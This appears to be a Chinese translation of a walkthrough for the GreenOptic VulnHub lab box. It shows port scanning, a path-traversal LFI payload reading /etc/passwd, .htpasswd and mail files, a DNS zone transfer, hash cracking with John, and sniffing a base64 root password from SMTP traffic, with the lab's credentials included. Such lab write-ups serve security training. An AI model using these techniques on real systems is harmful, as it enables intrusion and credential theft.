原文地址:https://www.infosecarticles.com/greenoptic-1-vulnhub-walkthrough/

初始枚举

确定IP后直接使用nmap扫描靶机,通过别名设置nmap快捷扫描

1
2
3
4
5
6
vim ~/.bashrc
# some more ls aliases 增加行,输入下面内容
alias nmap='nmap -A -p- -v -T4 -oA nmap'
:wq
source ~/.bashrc
# 使用nmap IP即可实现nmap -A -p- -v -T4 -oA nmap IP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@kali:~/桌面/vulnhub/greenoptic# cat nmap.nmap 
# Nmap 7.80 scan initiated Sun Sep 27 16:28:40 2020 as: nmap -A -p- -v -T4 -oA nmap 192.168.10.63
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for websrv01.greenoptic.vm (192.168.10.63)
Host is up (0.00042s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 46:20:32:ed:f0:74:11:ed:fd:a7:a4:17:ab:f6:f0:21 (RSA)
| 256 b6:fb:64:10:39:0e:f9:be:8b:5a:d0:d2:41:3e:67:68 (ECDSA)
|_ 256 24:27:0b:c9:35:5f:27:7e:1a:82:73:e0:69:cc:0f:96 (ED25519)
53/tcp open domain ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
| dns-nsid:
|_ bind.version: 9.11.4-P2-RedHat-9.11.4-16.P2.el7_8.6
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: GreenOptic
10000/tcp open http MiniServ 1.953 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: DA33730BE67AF90A4689A1C914AEBD69
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: MiniServ/1.953
|_http-title: Site doesn't have a title (text/html; Charset=utf-8).
MAC Address: 08:00:27:B8:57:A1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9
Uptime guess: 0.111 days (since Sun Sep 27 13:51:27 2020)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7

TRACEROUTE
HOP RTT ADDRESS
1 0.42 ms websrv01.greenoptic.vm (192.168.10.63)

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 27 16:31:30 2020 -- 1 IP address (1 host up) scanned in 170.20 seconds

我们可以看到许多端口处于打开状态,让我们一一判断它们。

  • 端口21 FTP-我们可以尝试是否支持匿名登录,并查看其中是否包含一些备份文件或其他有用信息。
  • 端口22 SSH-在没辙的情况下,如果找到用户名,我们可以尝试进行蛮力攻击。
  • 端口53 DNS-这似乎很有用,因为它正在侦听TCP而不是UDP,这并不常见。我们可以在这里查找配置错误的dns记录。
  • Port 80 Apache Web Server-我们可以尝试利用某些Web漏洞并获得低特权的webShell。
  • 端口10000 Webmin MiniServer-根据版本以及我们是否可以获得登录凭据,绝对可以利用此端口。

我们首先在端口80上开始枚举,因为我发现它很容易。在80端口,我们有一个提供宽带服务的网站。

我尝试查看页面源代码和网站上的其他链接,但没有发现任何有用的东西。因此,接下来我开始进行gobuster扫描以查找隐藏的目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/桌面/vulnhub/greenoptic# gobuster dir -u http://192.168.10.63/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.10.63/
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,html
[+] Timeout: 10s
===============================================================
2020/09/27 16:41:52 Starting gobuster
===============================================================
/index.html (Status: 200)
/img (Status: 301)
/account (Status: 301)
/css (Status: 301)
/js (Status: 301)
/statement.html (Status: 200)
/logitech-quickcam_W0QQcatrefZC5QQfbdZ1QQfclZ3QQfposZ95112QQfromZR14QQfrppZ50QQfsclZ1QQfsooZ1QQfsopZ1QQfssZ0QQfstypeZ1QQftrtZ1QQftrvZ1QQftsZ2QQnojsprZyQQpfidZ0QQsaatcZ1QQsacatZQ2d1QQsacqyopZgeQQsacurZ0QQsadisZ200QQsaslopZ1QQsofocusZbsQQsorefinesearchZ1.html (Status: 403)
===============================================================
2020/09/27 16:46:04 Finished
===============================================================

我去了/account目录,找到了一个登录页面。我尝试使用一些弱口令用户名和密码登录,但无法登录。但是我注意到URL中的一个include参数似乎很有趣。

让我们看看是否可以在此参数中找到LFI漏洞。如果将include请求的cookiewarning部分更改为典型的LFI有效内容,例如“ ../../../../etc/passwd”,我们可以看到它返回了/var/www/html目录,然后读取/etc/passwd。

这完美地工作了,但是我仍然找不到使用此漏洞的方法。因此,我进行了进一步的列举。

获得用户shell

我使用在端口10000上运行的Webmin Miniserv。当尝试在浏览器上访问它时,我们收到一个错误,该错误泄漏了子域。

我将此主机名添加到主机文件中,现在可以查看webmin登录页面。但不幸的是,我没有任何线索。因此,接下来我开始枚举端口53,以查看是否可以找到其他一些子域。由于这是在侦听TCP,因此我使用了dig axfr命令查找其他子域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/桌面/vulnhub/greenoptic# dig axfr @192.168.10.63 greenoptic.vm

; <<>> DiG 9.16.4-Debian <<>> axfr @192.168.10.63 greenoptic.vm
; (1 server found)
;; global options: +cmd
greenoptic.vm. 3600 IN SOA websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
greenoptic.vm. 3600 IN NS ns1.greenoptic.vm.
ns1.greenoptic.vm. 3600 IN A 127.0.0.1
recoveryplan.greenoptic.vm. 3600 IN A 127.0.0.1
websrv01.greenoptic.vm. 3600 IN A 127.0.0.1
greenoptic.vm. 3600 IN SOA websrv01.greenoptic.vm. root.greenoptic.vm. 1594567384 3600 600 1209600 3600
;; Query time: 0 msec
;; SERVER: 192.168.10.63#53(192.168.10.63)
;; WHEN: 日 9月 27 19:13:23 CST 2020
;; XFR size: 6 records (messages 1, bytes 235)

我们看到另一个名为recoveryplan的子域,我很快将其添加到主机文件中。

但是,当我尝试在浏览器中打开它时,它要求输入用户名和密码。

通常,有一个.htaccess文件控制这种身份验证,而有一个.htpasswd文件存储密码。我利用在帐户页面中找到的LFI来读取.htpasswd文件,并获得了哈希密码。

我将此哈希保存到文本文件中,并使用John破解了哈希。

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/桌面/vulnhub/greenoptic# echo 'staff:$apr1$YQNFpPkc$rhUZOxRE55Nkl4EDn.1Po.' > hash.txt
root@kali:~/桌面/vulnhub/greenoptic# cat hash.txt
staff:$apr1$YQNFpPkc$rhUZOxRE55Nkl4EDn.1Po.
root@kali:~/桌面/vulnhub/greenoptic# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
wheeler (staff)
1g 0:00:00:00 DONE (2020-08-01 08:26) 2.325g/s 30530p/s 30530c/s 30530C/s yellow7..princess94
Use the "--show" option to display all of the cracked passwords reliably
Session completed

现在,我们可以使用用户名staff和密码wheeler登录网站。登录后,我们会在网站上看到一个phpBB。phpBB是免费的开源公告板软件。它允许您在允许的任何人群中共享消息和公告。

如果我们查看最新帖子,就会发现该用户正在讨论对其公司的最新攻击,并且还共享一个名为dpi.zip的zip文件,并且该zip文件的密码已通过电子邮件发送给用户Sam。

在互联网上搜索后,我发现所有邮件都存储在/var/mail目录,并使用用户名作为文件名保存。所以我再次使用文件包含(LFI)来读取/var/mail/sam的内容。

现在,我下载了zip文件,并使用密码HelloSunshine123 提取了该zip文件。解压缩后,我们得到一个dpi.pcap文件。

1
2
3
4
5
6
7
8
Enter host password for user 'staff':#密码不显示
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 72324 100 72324 0 0 34.4M 0 --:--:-- --:--:-- --:--:-- 34.4M
root@kali:~/桌面/vulnhub/greenoptic# unzip dpi.zip
Archive: dpi.zip
[dpi.zip] dpi.pcap password:
inflating: dpi.pcap

我在Wireshark中打开文件并开始分析流量。在分析时,我找到了用户Alex的FTP凭据。

通常,FTP密码与用户密码相同,这意味着我们可以使用用户名alex和密码FwejAASD1通过SSH以用户Alex的身份登录并读取用户的标志。

1
2
3
4
5
6
7
8
9
root@kali:~/桌面/vulnhub/greenoptic# ssh [email protected]
[email protected]'s password:
Last login: Sun Sep 27 09:16:03 2020 from 192.168.10.12
[alex@websrv01 ~]$ ls
tmp.pcapng user.txt
[alex@websrv01 ~]$ cat user.txt
Well done. Now to try and get root access.

Think outside of the box!

权限提升

这个盒子很容易,我们只需要在盒子外面思考!我做了很多枚举,并尝试了许多特权提升脚本,但是它们都不起作用。当我检查用户的ID时,我发现该用户已添加到Wireshark组,这意味着Wireshark已安装在盒子中。

1
2
[alex@websrv01 ~]$ id
uid=1002(alex) gid=1002(alex) groups=1002(alex),994(wireshark)

因此,我退出外壳程序并使用“ ssh -X”再次登录,这将允许我们打开GUI应用程序。然后,我输入wireshark打开Wireshark。

1
2
3
4
5
6
7
root@kali:~/桌面/vulnhub/greenoptic# ssh -X [email protected]
[email protected]'s password:
Last login: Sun Sep 27 12:29:41 2020 from 192.168.10.12
[alex@websrv01 ~]$ id
uid=1002(alex) gid=1002(alex) 组=1002(alex),994(wireshark)
[alex@websrv01 ~]$ wireshark

打开Wireshark之后,我开始捕获任何流量,并发现一些SMTP身份验证,该身份验证每隔几分钟就会重复一次。

在检查数据包时,我们可以看到一个编码为base64的密码。

解码后,我们获得root的密码

1
2
root@kali:~# echo -n AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28= | base64 -d
rootASfojoj2eozxczzmedlmedASASDKoj3o

现在我们可以使用su切换root并读取我们的标志!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[alex@websrv01 ~]$ su -
密码:ASfojoj2eozxczzmedlmedASASDKoj3o
上一次登录:日 9月 27 08:26:05 BST 2020pts/0 上
[root@websrv01 ~]# cat
anaconda-ks.cfg .bash_logout .bashrc .gnupg/ .monit.id .pki/ root.txt .viminfo .xauthF7tYk6
.bash_history .bash_profile .cshrc .lesshst .monit.state .rnd .tcshrc .wireshark/ .Xauthority
[root@websrv01 ~]# cat root.txt
Congratulations on getting root!

____ ___ _ _
/ ___|_ __ ___ ___ _ __ / _ \ _ __ | |_(_) ___
| | _| '__/ _ \/ _ \ '_ \| | | | '_ \| __| |/ __|
| |_| | | | __/ __/ | | | |_| | |_) | |_| | (__
\____|_| \___|\___|_| |_|\___/| .__/ \__|_|\___|
|_|

You've overcome a series of difficult challenges, so well done!

I'm happy to make my CTFs available for free. If you enjoyed doing the CTF, please leave a comment on my blog at https://security.caerdydd.wales - I will be happy for your feedback so I can improve them and make them more enjoyable in the future.

*********
Kindly place your vote on the poll located here to let me know how difficult you found it: https://security.caerdydd.wales/greenoptic-ctf/
*********

Thanks,
bootlesshacker
[root@websrv01 ~]# ^C
[root@websrv01 ~]#